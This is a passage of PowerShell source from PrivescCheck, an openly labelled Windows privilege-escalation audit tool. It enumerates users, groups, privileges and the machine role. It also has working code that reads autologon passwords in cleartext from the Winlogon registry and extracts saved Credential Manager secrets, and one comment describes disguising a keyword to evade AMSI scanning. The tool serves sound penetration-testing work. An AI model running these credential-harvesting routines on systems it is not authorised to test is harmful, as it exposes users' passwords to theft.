2919 5 2020-01-05 - 23:07:41
2920 6 2020-01-05 - 11:41:39
2921 7 2020-01-04 - 14:18:46
2922 8 2020-01-04 - 14:18:10
2923 9 2020-01-04 - 12:51:51
2924 10 2020-01-03 - 10:41:15
2925 11 2019-12-27 - 13:57:30
2926 12 2019-12-26 - 10:56:38
2927 13 2019-12-25 - 12:12:14
2928 14 2019-12-24 - 17:41:04
2929
2930 .NOTES
2931
2932 Event ID 6005: The Event log service was started, i.e. system startup theoretically.
2933
2934 #>
2935
2936 [CmdletBinding()] param(
2937 [int]
2938 $TimeSpanInDays = 31
2939 )
2940
2941 try {
2942 $SystemStartupHistoryResult = New-Object -TypeName System.Collections.ArrayList
2943
2944 $StartDate = (Get-Date).AddDays(-$TimeSpanInDays)
2945 $EndDate = Get-Date
2946
2947 $StartupEvents = Get-EventLog -LogName "System" -EntryType "Information" -After $StartDate -Before $EndDate | Where-Object {$_.EventID -eq 6005}
2948
2949 $EventNumber = 1
2950
2951 ForEach ($Event in $StartupEvents) {
2952 $SystemStartupHistoryItem = New-Object -TypeName PSObject
2953 $SystemStartupHistoryItem | Add-Member -MemberType "NoteProperty" -Name "Index" -Value $EventNumber
2954 $SystemStartupHistoryItem | Add-Member -MemberType "NoteProperty" -Name "Time" -Value "$(Convert-DateToString -Date $Event.TimeGenerated)"
2955 #$SystemStartupHistoryItem | Add-Member -MemberType "NoteProperty" -Name "Message" -Value "$($Event.Message)"
2956 [void]$SystemStartupHistoryResult.Add($SystemStartupHistoryItem)
2957 $EventNumber += 1
2958 }
2959
2960 $SystemStartupHistoryResult
2961 } catch {
2962 # We might get an "acces denied"
2963 Write-Verbose "Error while querying the Event Log."
2964 }
2965}
2966
2967function Invoke-SystemStartupCheck {
2968 <#
2969 .SYNOPSIS
2970
2971 Gets the last system startup time
2972
2973 Author: @itm4n
2974 License: BSD 3-Clause
2975
2976 .DESCRIPTION
2977
2978 Gets the tickcount in milliseconds thanks to the GetTickCount64 Win32 function and substracts
2979 the value to the current date. This yields the date and time of the last system startup. The
2980 result is returned in a custom PS Object containing a string representation of the DateTime
2981 object.
2982
2983 .EXAMPLE
2984
2985 PS C:\> Invoke-SystemStartupCheck
2986
2987 Time
2988 ----
2989 2020-01-11 - 21:36:41
2990
2991 .NOTES
2992
2993 [Environment]::TickCount is a 32-bit signed integer
2994 The max value it can hold is 49.7 days. That's why GetTickCount64() is used instead.
2995
2996 #>
2997
2998 [CmdletBinding()] param()
2999
3000 try {
3001 $TickcountMilliseconds = [PrivescCheck.Win32]::GetTickCount64()
3002
3003 $StartupDate = (Get-Date).AddMilliseconds(-$TickcountMilliseconds)
3004
3005 $SystemStartupResult = New-Object -TypeName PSObject
3006 $SystemStartupResult | Add-Member -MemberType "NoteProperty" -Name "Time" -Value "$(Convert-DateToString -Date $StartupDate)"
3007 $SystemStartupResult
3008
3009 } catch {
3010 # We are dealing with the Windows API so let's silently catch any exception, just in case...
3011 }
3012}
3013
3014function Invoke-SystemDrivesCheck {
3015 <#
3016 .SYNOPSIS
3017
3018 Gets a list of local drives and network shares that are currently mapped
3019
3020 Author: @itm4n
3021 License: BSD 3-Clause
3022
3023 .DESCRIPTION
3024
3025 This function is a wrapper for the "Get-PSDrive" standard cmdlet. For each result returned by
3026 "Get-PSDrive", a custom PS object is returned, indicating the drive letter (if applicable), the
3027 display name (if applicable) and the description.
3028
3029 .EXAMPLE
3030
3031 PS C:\> Invoke-SystemDrivesCheck
3032
3033 Root DisplayRoot Description
3034 ---- ----------- -----------
3035 C:\ OS
3036 E:\ DATA
3037 #>
3038
3039 [CmdletBinding()] param()
3040
3041 $SystemDrivesResult = New-Object -TypeName System.Collections.ArrayList
3042
3043 $Drives = Get-PSDrive -PSProvider "FileSystem"
3044
3045 ForEach ($Drive in $Drives) {
3046 $DriveItem = New-Object -TypeName PSObject
3047 $DriveItem | Add-Member -MemberType "NoteProperty" -Name "Root" -Value "$($Drive.Root)"
3048 $DriveItem | Add-Member -MemberType "NoteProperty" -Name "DisplayRoot" -Value "$($Drive.DisplayRoot)"
3049 $DriveItem | Add-Member -MemberType "NoteProperty" -Name "Description" -Value "$($Drive.Description)"
3050 [void]$SystemDrivesResult.Add([object]$DriveItem)
3051 }
3052
3053 $SystemDrivesResult
3054}
3055
3056function Invoke-LocalAdminGroupCheck {
3057 <#
3058 .SYNOPSIS
3059
3060 Enumerates the members of the default local admin group
3061
3062 Author: @itm4n
3063 License: BSD 3-Clause
3064
3065 .DESCRIPTION
3066
3067 For every member of the local admin group, it will check whether it's a local/domain user/group.
3068 If it's local it will also check if the account is enabled.
3069
3070 .EXAMPLE
3071
3072 PS C:\> Invoke-LocalAdminGroupCheck
3073
3074 Name Type IsLocal IsEnabled
3075 ---- ---- ------- ---------
3076 Administrator User True False
3077 lab-admin User True True
3078
3079 .NOTES
3080
3081 S-1-5-32-544 = SID of the local admin group
3082
3083 #>
3084
3085 [CmdletBinding()] param()
3086
3087 function Get-UserFlags {
3088 param(
3089 $UserFlags
3090 )
3091
3092 $UserFlagsEnum = @{
3093 "ADS_UF_SCRIPT" = "1";
3094 "ADS_UF_ACCOUNTDISABLE" = "2";
3095 "ADS_UF_HOMEDIR_REQUIRED" = "8";
3096 "ADS_UF_LOCKOUT" = "16";
3097 "ADS_UF_PASSWD_NOTREQD" = "32";
3098 "ADS_UF_PASSWD_CANT_CHANGE" = "64";
3099 "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" = "128";
3100 "ADS_UF_TEMP_DUPLICATE_ACCOUNT" = "256";
3101 "ADS_UF_NORMAL_ACCOUNT" = "512";
3102 "ADS_UF_INTERDOMAIN_TRUST_ACCOUNT" = "2048";
3103 "ADS_UF_WORKSTATION_TRUST_ACCOUNT" = "4096";
3104 "ADS_UF_SERVER_TRUST_ACCOUNT" = "8192";
3105 "ADS_UF_DONT_EXPIRE_PASSWD" = "65536";
3106 "ADS_UF_MNS_LOGON_ACCOUNT" = "131072";
3107 "ADS_UF_SMARTCARD_REQUIRED" = "262144";
3108 "ADS_UF_TRUSTED_FOR_DELEGATION" = "524288";
3109 "ADS_UF_NOT_DELEGATED" = "1048576";
3110 "ADS_UF_USE_DES_KEY_ONLY" = "2097152";
3111 "ADS_UF_DONT_REQUIRE_PREAUTH" = "4194304";
3112 "ADS_UF_PASSWORD_EXPIRED" = "8388608";
3113 "ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION" = "16777216";
3114 }
3115
3116 $UserFlagsEnum.GetEnumerator() | ForEach-Object {
3117 if ( $_.value -band $UserFlags )
3118 {
3119 $_.name
3120 }
3121 }
3122 }
3123
3124 function Get-GroupFlags {
3125 param(
3126 $GroupFlags
3127 )
3128 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/11972272-09ec-4a42-bf5e-3e99b321cf55
3129 $GroupFlagsEnum = @{
3130 "ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP" = "1"; # Specifies a group that is created by the system.
3131 "ADS_GROUP_TYPE_ACCOUNT_GROUP" = "2"; # Specifies a global group.
3132 "ADS_GROUP_TYPE_RESOURCE_GROUP" = "4"; # Specifies a domain local group.
3133 "ADS_GROUP_TYPE_UNIVERSAL_GROUP" = "8"; # Specifies a universal group.
3134 "ADS_GROUP_TYPE_APP_BASIC_GROUP" = "16";
3135 "ADS_GROUP_TYPE_APP_QUERY_GROUP" = "32";
3136 "ADS_GROUP_TYPE_SECURITY_ENABLED" = "2147483648"; # Specifies a security-enabled group.
3137 }
3138
3139 $GroupFlagsEnum.GetEnumerator() | ForEach-Object {
3140 if ($_.value -band $GroupFlags)
3141 {
3142 $_.name
3143 }
3144 }
3145 }
3146
3147 $LocalAdminGroupSid = "S-1-5-32-544" # Local admin group SID
3148 $LocalAdminGroupFullname = ([Security.Principal.SecurityIdentifier]$LocalAdminGroupSid).Translate([Security.Principal.NTAccount]).Value
3149 $LocalAdminGroupName = $LocalAdminGroupFullname.Split('\')[1]
3150
3151 $Computer = $env:COMPUTERNAME
3152 $AdsiComputer = [ADSI]("WinNT://$Computer,computer")
3153
3154 try {
3155 $LocalAdminGroup = $AdsiComputer.psbase.children.find($LocalAdminGroupName, "Group")
3156
3157 if ($LocalAdminGroup) {
3158 $LocalAdminGroup.psbase.invoke("members") | ForEach-Object {
3159 # For each member of the local admin group
3160
3161 $MemberName = $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)
3162 $Member = $Null
3163
3164 # Is it a local user?
3165 $AdsiComputer.Children | Where-Object { $_.SchemaClassName -eq "User" } | ForEach-Object {
3166 if ($_.Name -eq $MemberName) {
3167 Write-Verbose "Found user: $MemberName"
3168 $Member = $_
3169 }
3170 }
3171
3172 # if it's not a local user, is it a local grop ?
3173 if (-not $IsLocal) {
3174 $AdsiComputer.Children | Where-Object { $_.SchemaClassName -eq "Group" } | ForEach-Object {
3175 if ($_.Name -eq $MemberName) {
3176 Write-Verbose "Found group: $MemberName"
3177 $Member = $_
3178 }
3179 }
3180 }
3181
3182 if ($Member) {
3183 if ($Member.SchemaClassName -eq "User") {
3184 $UserFlags = $Member.UserFlags.value
3185 $Flags = Get-UserFlags $UserFlags
3186 $MemberType = "User"
3187 $MemberIsLocal = $True
3188 $MemberIsEnabled = $(-not ($Flags -contains "ADS_UF_ACCOUNTDISABLE"))
3189 } elseif ($Member.SchemaClassName -eq "Group") {
3190 $GroupType = $Member.groupType.value
3191 $Flags = Get-GroupFlags $GroupType
3192 $MemberType = "Group"
3193 $MemberIsLocal = $($Flags -contains "ADS_GROUP_TYPE_RESOURCE_GROUP")
3194 $MemberIsEnabled = $True
3195 }
3196 } else {
3197 $MemberType = ""
3198 $MemberIsLocal = $False
3199 $MemberIsEnabled = $Null
3200 }
3201
3202 $LocalAdminGroupResultItem = New-Object -TypeName PSObject
3203 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $MemberName
3204 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $MemberType
3205 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "IsLocal" -Value $MemberIsLocal
3206 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "IsEnabled" -Value $MemberIsEnabled
3207 $LocalAdminGroupResultItem
3208 }
3209 }
3210 } catch {
3211 Write-Verbose $_.Exception
3212 }
3213}
3214
3215function Invoke-MachineRoleCheck {
3216 <#
3217 .SYNOPSIS
3218
3219 Gets the role of the machine (workstation, server, domain controller)
3220
3221 Author: @itm4n
3222 License: BSD 3-Clause
3223
3224 .DESCRIPTION
3225
3226 The role of the machine can be checked by reading the following registry key:
3227 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
3228 The "ProductType" value represents the role of the machine.
3229
3230 .EXAMPLE
3231
3232 PS C:\> Invoke-MachineRoleCheck
3233
3234 Name Role
3235 ---- ----
3236 WinNT WorkStation
3237
3238 .NOTES
3239
3240 WinNT = workstation
3241 LanmanNT = domain controller
3242 ServerNT = server
3243
3244 #>
3245
3246 [CmdletBinding()] param()
3247
3248 $MachineRoleResult = New-Object -TypeName PSObject
3249
3250 $Item = Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
3251
3252 $FriendlyNames = @{
3253 "WinNT" = "WorkStation";
3254 "LanmanNT" = "Domain Controller";
3255 "ServerNT" = "Server";
3256 }
3257
3258 if (-not $GetItemPropertyError){
3259 try {
3260 $MachineRoleResult = New-Object -TypeName PSObject
3261 $MachineRoleResult | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Item.ProductType
3262 $MachineRoleResult | Add-Member -MemberType "NoteProperty" -Name "Role" -Value $FriendlyNames[$Item.ProductType]
3263 $MachineRoleResult
3264 } catch {
3265 Write-Verbose "Hashtable error."
3266 }
3267 }
3268}
3269
3270function Invoke-WindowsUpdateCheck {
3271 <#
3272 .SYNOPSIS
3273
3274 Gets the last update time of the machine.
3275
3276 Author: @itm4n
3277 License: BSD 3-Clause
3278
3279 .DESCRIPTION
3280
3281 The Windows Update status can be queried thanks to the Microsoft.Update.AutoUpdate COM object.
3282 It gives the last successful search time and the last successfull update installation time.
3283
3284 .EXAMPLE
3285
3286 PS C:\> Invoke-WindowsUpdateCheck
3287
3288 Time
3289 ----
3290 2020-01-12 - 09:17:37
3291
3292 #>
3293
3294 [CmdletBinding()] param()
3295
3296 try {
3297 $WindowsUpdate = (New-Object -ComObject "Microsoft.Update.AutoUpdate").Results
3298
3299 if ($WindowsUpdate.LastInstallationSuccessDate) {
3300 $WindowsUpdateResult = New-Object -TypeName PSObject
3301 $WindowsUpdateResult | Add-Member -MemberType "NoteProperty" -Name "Time" -Value $(Convert-DateToString -Date $WindowsUpdate.LastInstallationSuccessDate)
3302 $WindowsUpdateResult
3303 }
3304 } catch {
3305 # We migh get an access denied when querying this COM object
3306 Write-Verbose "Error while requesting COM object Microsoft.Update.AutoUpdate."
3307 }
3308}
3309
3310# ----------------------------------------------------------------
3311# END MISC
3312# ----------------------------------------------------------------
3313
3314
3315# ----------------------------------------------------------------
3316# BEGIN CURRENT USER
3317# ----------------------------------------------------------------
3318function Invoke-UserCheck {
3319 <#
3320 .SYNOPSIS
3321
3322 Gets the usernane and SID of the current user
3323
3324 Author: @itm4n
3325 License: BSD 3-Clause
3326
3327 .DESCRIPTION
3328
3329 Gets the usernane and SID of the current user
3330
3331 .EXAMPLE
3332
3333 PS C:\> Invoke-UserCheck
3334
3335 Name SID
3336 ---- ---
3337 DESKTOP-FEOHNOM\lab-user S-1-5-21-1448366976-598358009-3880595148-1002
3338
3339 #>
3340
3341 [CmdletBinding()] param()
3342
3343 $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
3344
3345 $UserResult = New-Object -TypeName PSObject
3346 $UserResult | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $CurrentUser.Name
3347 $UserResult | Add-Member -MemberType "NoteProperty" -Name "SID" -Value $CurrentUser.User
3348 $UserResult
3349}
3350
3351function Invoke-UserGroupsCheck {
3352 <#
3353 .SYNOPSIS
3354
3355 Enumerates groups the current user belongs to except default and low-privileged ones
3356
3357 Author: @itm4n
3358 License: BSD 3-Clause
3359
3360 .DESCRIPTION
3361
3362 For each group the current user belongs to, a custom object is returned, indicating the name
3363 and the SID of the group.
3364
3365 .EXAMPLE
3366
3367 PS C:\> Invoke-UserGroupsCheck
3368
3369 Name SID
3370 ---- ---
3371 BUILTIN\Remote Management Users S-1-5-32-580
3372
3373 .LINK
3374
3375 https://support.microsoft.com/en-us/help/243330/well-known-security-identifiers-in-windows-operating-systems
3376 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
3377 #>
3378
3379 [CmdletBinding()] param()
3380
3381 $IgnoredGroupSids = @(
3382 "S-1-0", # Null Authority
3383 "S-1-0-0", # Nobody
3384 "S-1-1", # World Authority
3385 "S-1-1-0", # Everyone
3386 "S-1-2", # Local Authority
3387 "S-1-2-0", # Local
3388 "S-1-2-1", # CONSOLE_LOGON
3389 "S-1-3", # Creator Authority
3390 "S-1-3-0", # Creator Owner
3391 "S-1-3-1", # Creator Group
3392 "S-1-3-2", # OWNER_SERVER
3393 "S-1-3-3", # GROUP_SERVER
3394 "S-1-3-4", # Owner Rights
3395 "S-1-5-80-0", # NT Services\All Services
3396 "S-1-5", # NT Authority
3397 "S-1-5-1", # Dialup
3398 "S-1-5-2", # Network
3399 "S-1-5-3", # Batch
3400 "S-1-5-4", # Interactive
3401 "S-1-5-6", # Service
3402 "S-1-5-7", # Anonymous
3403 "S-1-5-8", # PROXY
3404 "S-1-5-10", # Principal Self
3405 "S-1-5-11", # Authenticated Users
3406 "S-1-5-12", # Restricted Code
3407 "S-1-5-15", # THIS_ORGANIZATION
3408 "S-1-5-17", # This Organization
3409 "S-1-5-18", # Local System
3410 "S-1-5-19", # Local Service
3411 "S-1-5-20", # Network Service
3412 "S-1-5-32-545", # Users
3413 "S-1-5-32-546", # Guests
3414 "S-1-5-32-554", # Builtin\Pre-Windows 2000 Compatible Access
3415 "S-1-5-80-0", # NT Services\All Services
3416 "S-1-5-83-0", # NT Virtual Machine\Virtual Machines
3417 "S-1-5-113", # LOCAL_ACCOUNT
3418 "S-1-5-1000", # OTHER_ORGANIZATION
3419 "S-1-15-2-1" # ALL_APP_PACKAGES
3420 )
3421
3422 $IgnoredGroupSidPatterns = @(
3423 "S-1-5-21-*-513", # Domain Users
3424 "S-1-5-21-*-514", # Domain Guests
3425 "S-1-5-21-*-515", # Domain Computers
3426 "S-1-5-21-*-516", # Domain Controllers
3427 "S-1-5-21-*-545", # Users
3428 "S-1-5-21-*-546", # Guests
3429 "S-1-5-64-*", # NTLM / SChannel / Digest Authentication
3430 "S-1-16-*", # Integrity levels
3431 "S-1-15-3-*", # Capabilities ("Active Directory does not resolve capability SIDs to names. This behavior is by design.")
3432 "S-1-18-*" # Identities
3433 )
3434
3435 $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
3436 $Groups = $CurrentUser.Groups
3437
3438 ForEach ($Group in $Groups) {
3439
3440 $GroupSid = $Group.Value
3441
3442 if (-not ($IgnoredGroupSids -contains $GroupSid)) {
3443
3444 $KnownSid = $False
3445 ForEach ($Pattern in $IgnoredGroupSidPatterns) {
3446 if ($GroupSid -like $Pattern) {
3447 Write-Verbose "Known SID pattern: $GroupSid"
3448 $KnownSid = $true
3449 break
3450 }
3451 }
3452
3453 if (-not $KnownSid) {
3454
3455 if ($GroupSid -notmatch '^S-1-5.*') {
3456 $GroupName = ($Group.Translate([System.Security.Principal.NTAccount])).Value
3457 } else {
3458 $GroupName = "N/A"
3459 }
3460
3461 $UserGroups = New-Object -TypeName PSObject
3462 $UserGroups | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $GroupName
3463 $UserGroups | Add-Member -MemberType "NoteProperty" -Name "SID" -Value $GroupSid
3464 $UserGroups
3465 }
3466 } else {
3467 Write-Verbose "Known SID: $GroupSid"
3468 }
3469 }
3470}
3471
3472function Invoke-UserPrivilegesCheck {
3473 <#
3474 .SYNOPSIS
3475
3476 Enumerates the high potential privileges of the current user's token
3477
3478 .DESCRIPTION
3479
3480 Enumerates all the privileges of the current user thanks to the custom Get-UserPrivileges
3481 function. Then, it checks whether each privilege is contained in a pre-defined list of
3482 high value privileges.
3483
3484 .EXAMPLE
3485
3486 Name State Description
3487 ---- ----- -----------
3488 SeImpersonatePrivilege Enabled Impersonate a client after authentication
3489
3490 .NOTES
3491
3492 Interesting privileges:
3493
3494 - SeAssignPrimaryTokenPrivilege
3495 - SeImpersonatePrivilege
3496 - SeCreateTokenPrivilege
3497 - SeDebugPrivilege
3498 - SeLoadDriverPrivilege
3499 - SeRestorePrivilege
3500 - SeTakeOwnershipPrivilege
3501 #>
3502
3503 [CmdletBinding()] param()
3504
3505 $HighPotentialPrivileges = "SeAssignPrimaryTokenPrivilege", "SeImpersonatePrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeLoadDriverPrivilege", "SeRestorePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeBackupPrivilege", "SeShutdownPrivilege"
3506
3507 $CurrentPrivileges = Get-UserPrivileges
3508
3509 ForEach ($Privilege in $CurrentPrivileges) {
3510
3511 if ($HighPotentialPrivileges -contains $Privilege.Name) {
3512
3513 $Privilege
3514 }
3515 }
3516}
3517# ----------------------------------------------------------------
3518# END CURRENT USER
3519# ----------------------------------------------------------------
3520
3521
3522# ----------------------------------------------------------------
3523# BEGIN CREDENTIALS
3524# ----------------------------------------------------------------
3525function Invoke-WinlogonCheck {
3526 <#
3527 .SYNOPSIS
3528
3529 Checks credentials stored in the Winlogon registry key
3530
3531 Author: @itm4n
3532 License: BSD 3-Clause
3533
3534 .DESCRIPTION
3535
3536 Windows has a registry setting to enable automatic logon. You can set a username and a password
3537 in order to automatically initiate a user session on system startup. The password is stored in
3538 clear text so it's easy to extract it. This function returns a set of credentials only if the
3539 password field is not empty.
3540
3541 .EXAMPLE
3542
3543 PS C:\> Invoke-WinlogonCheck
3544
3545 Domain Username Password
3546 ------ -------- --------
3547 lab-admin
3548
3549 .LINK
3550
3551 https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows
3552
3553 #>
3554
3555 [CmdletBinding()] param()
3556
3557 $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
3558 $Item = Get-ItemProperty -Path $RegPath -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
3559
3560 if (-not $GetItemPropertyError) {
3561
3562 if ($Item.DefaultPassword) {
3563 $WinlogonItem = New-Object -TypeName PSObject
3564 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $Item.DefaultDomainName
3565 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $Item.DefaultUserName
3566 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Item.DefaultPassword
3567 $WinlogonItem
3568 }
3569
3570 if ($Item.AltDefaultPassword) {
3571 $WinlogonItem = New-Object -TypeName PSObject
3572 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $Item.AltDefaultDomainName
3573 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $Item.AltDefaultUserName
3574 $WinlogonItem | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Item.AltDefaultPassword
3575 $WinlogonItem
3576 }
3577
3578 } else {
3579 Write-Verbose "Error while querying '$RegPath'"
3580 }
3581}
3582
3583function Invoke-CredentialFilesCheck {
3584 <#
3585 .SYNOPSIS
3586
3587 List the Credential files that are stored in the current user AppData folders.
3588
3589 Author: @itm4n
3590 License: BSD 3-Clause
3591
3592 .DESCRIPTION
3593
3594 Credentials stored in the Credential Manager are actually saved as files in the current user's
3595 home folder. The sensitive information is saved in an ecnrypted format which differs depending
3596 on the credential type.
3597
3598 .EXAMPLE
3599
3600 PS C:\> Invoke-CredentialFilesCheck
3601
3602 FullPath
3603 ------
3604 C:\Users\lab-user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
3605 C:\Users\lab-user\AppData\Roaming\Microsoft\Credentials\9751D70B4AC36953347138F9A5C2D23B
3606 C:\Users\lab-user\AppData\Roaming\Microsoft\Credentials\9970C9D5A29B2D83514BEFD30A4D48B4
3607
3608 #>
3609
3610 [CmdletBinding()] param()
3611
3612 function Get-CredentialFiles {
3613 [CmdletBinding()] param(
3614 [string]
3615 $Path
3616 )
3617 $Result = New-Object System.Collections.ArrayList
3618 # User '-Force' rather that '-Hidden' for PS2 compatibility
3619 #$Items = Get-ChildItem -Hidden -Path $Path -ErrorAction SilentlyContinue -ErrorVariable Errors
3620 $Items = Get-ChildItem -Force -Path $Path -ErrorAction SilentlyContinue -ErrorVariable Errors
3621 if (-not $Errors) {
3622 ForEach ($Item in $Items) {
3623 $FullPath = Join-Path -Path $Path -ChildPath $Item.Name
3624 if (-not ($FullPath -eq (Join-Path -Path $Path -ChildPath ""))) {
3625 $FileObject = New-Object -TypeName PSObject
3626 $FileObject | Add-Member -MemberType "NoteProperty" -Name "FullPath" -Value $FullPath
3627 #$FileObject | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Item.Name
3628 #$FileObject | Add-Member -MemberType "NoteProperty" -Name "Folder" -Value $Path
3629 [void]$Result.Add($FileObject)
3630 }
3631 }
3632 }
3633 return $Result
3634 }
3635
3636 $CredentialFilesResult = New-Object -TypeName System.Collections.ArrayList
3637
3638 $PathLocalAppData = Join-Path -Path $env:LOCALAPPDATA -ChildPath "Microsoft\Credentials"
3639 $PathAppData = Join-Path -Path $env:APPDATA -ChildPath "Microsoft\Credentials"
3640
3641 $Items = Get-CredentialFiles -Path $PathLocalAppData
3642 if ($Items) {
3643 [void]$CredentialFilesResult.AddRange([object[]]$Items)
3644 }
3645
3646 $Items = Get-CredentialFiles -Path $PathAppData
3647 if ($Items) {
3648 [void]$CredentialFilesResult.AddRange([object[]]$Items)
3649 }
3650
3651 $CredentialFilesResult
3652}
3653
3654function Invoke-VaultCredCheck {
3655 <#
3656 .SYNOPSIS
3657
3658 Enumerates the credentials saved in the Credential Manager.
3659
3660 Author: @itm4n
3661 License: BSD 3-Clause
3662
3663 .DESCRIPTION
3664
3665 Credentials saved in the Credential Manager can be extracted by invoking the Win32 CredEnumerate
3666 function. This function returns a pointer to an array of PCREDENTIAL pointers. Therefore we can
3667 iterate this array to access each CREDENTIAL structure individually. Depending on the type of
3668 credential, the CredentialBlob member either contains the cleartext password or a blob which we
3669 cannot decode (because it's application specific). For each structure, a custom PS object is
3670 returned. The output should be quite similar to the output generated by the command vault::cred
3671 in M*m*k*tz (don't want to trigger AMSI with this keyword :P).
3672
3673 .EXAMPLE
3674
3675 PS C:\> Invoke-VaultCredCheck
3676
3677 TargetName : Domain:target=192.168.0.10
3678 UserName : LAB-PC\lab-user
3679 Comment : SspiPfc
3680 Type : 2 - DOMAIN_PASSWORD
3681 Persist : 3 - ENTERPRISE
3682 Flags : 0
3683 Credential :
3684
3685 TargetName : LegacyGeneric:target=https://github.com/
3686 UserName : user@example.com
3687 Comment :
3688 Type : 1 - GENERIC
3689 Persist : 2 - LOCAL_MACHINE
3690 Flags : 0
3691 Credential : dBa2F06TTsrvSeLbyoW8
3692
3693 .LINK
3694
3695 https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratew
3696 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
3697
3698 #>
3699
3700 [CmdletBinding()] param()
3701
3702 function Convert-TypeToString {
3703 [CmdletBinding()] param(
3704 [Uint32]$Type
3705 )
3706
3707 $TypeEnum = @{
3708 "GENERIC" = "1";
3709 "DOMAIN_PASSWORD" = "2";
3710 "DOMAIN_CERTIFICATE" = "3";
3711 "DOMAIN_VISIBLE_PASSWORD" = "4"; # This value is no longer supported.
3712 "GENERIC_CERTIFICATE" = "5"; # This value is no longer supported.
3713 "DOMAIN_EXTENDED" = "6"; # This value is no longer supported.
3714 "MAXIMUM" = "7"; # This value is no longer supported.
3715 "TYPE_MAXIMUM_EX" = "8"; # This value is no longer supported.
3716 }
3717
3718 $TypeEnum.GetEnumerator() | ForEach-Object {
3719 if ( $_.Value -eq $Type )
3720 {
3721 $_.Name
3722 }
3723 }
3724 }
3725
3726 function Convert-PersistToString {
3727 [CmdletBinding()] param(
3728 [Uint32]$Persist
3729 )
3730
3731 $PersistEnum = @{
3732 "SESSION" = "1";
3733 "LOCAL_MACHINE" = "2";
3734 "ENTERPRISE" = "3";
3735 }
3736
3737 $PersistEnum.GetEnumerator() | ForEach-Object {
3738 if ( $_.Value -eq $Persist )
3739 {
3740 $_.Name
3741 }
3742 }
3743 }
3744
3745 function Get-Credential {
3746 [CmdletBinding()] param(
3747 [PrivescCheck.Win32+CREDENTIAL]$RawObject
3748 )
3749
3750 if (-not ($RawObject.CredentialBlobSize -eq 0)) {
3751
3752 $UnicodeString = New-Object -TypeName "PrivescCheck.Win32+UNICODE_STRING"
3753 $UnicodeString.Length = $RawObject.CredentialBlobSize
3754 $UnicodeString.MaximumLength = $RawObject.CredentialBlobSize
3755 $UnicodeString.Buffer = $RawObject.CredentialBlob
3756
3757 $TestFlags = 2 # IS_TEXT_UNICODE_STATISTICS
3758 $IsUnicode = [PrivescCheck.Win32]::IsTextUnicode($UnicodeString.Buffer, $UnicodeString.Length, [ref]$TestFlags)
3759
3760 if ($IsUnicode) {
3761 $Result = [Runtime.InteropServices.Marshal]::PtrToStringUni($UnicodeString.Buffer, $UnicodeString.Length / 2)
3762 } else {
3763 for ($i = 0; $i -lt $UnicodeString.Length; $i++) {
3764 $BytePtr = [IntPtr] ($UnicodeString.Buffer.ToInt64() + $i)
3765 $Byte = [Runtime.InteropServices.Marshal]::ReadByte($BytePtr)
3766 $Result += "{0:X2} " -f $Byte
3767 }
3768 }
3769
3770 $Result
3771 }
3772 }
3773
3774 # CRED_ENUMERATE_ALL_CREDENTIALS = 0x1
3775 $Count = 0;
3776 [IntPtr]$CredentialsPtr = [IntPtr]::Zero
3777 $Success = [PrivescCheck.Win32]::CredEnumerate([IntPtr]::Zero, 1, [ref]$Count, [ref]$CredentialsPtr)
3778 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
3779
3780 if ($Success) {
3781
3782 Write-Verbose "CredEnumerate() OK - Count: $($Count)"
3783
3784 # CredEnumerate() returns an array of $Count PCREDENTIAL pointers, so we need to iterate
3785 # this array in order to get each PCREDENTIAL pointer. Then we can use this pointer to
3786 # convert a blob of unmanaged memory to a PrivescCheck.Win32+CREDENTIAL object.
3787
3788 for ($i = 0; $i -lt $Count; $i++) {
3789
3790 $CredentialPtrOffset = [IntPtr] ($CredentialsPtr.ToInt64() + [IntPtr]::Size * $i)
3791 $CredentialPtr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($CredentialPtrOffset)
3792 $Credential = [System.Runtime.InteropServices.Marshal]::PtrToStructure($CredentialPtr, [type] [PrivescCheck.Win32+CREDENTIAL])
3793 $CredentialStr = Get-Credential -RawObject $Credential
3794
3795 if (-not [String]::IsNullOrEmpty($CredentialStr)) {
3796 $CredentialObject = New-Object -TypeName PSObject
3797 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "TargetName" -Value $Credential.TargetName
3798 $CredentialObject | Add-Member -MemberType "NoteProperty" -Name "UserName" -Value $Credential.UserName
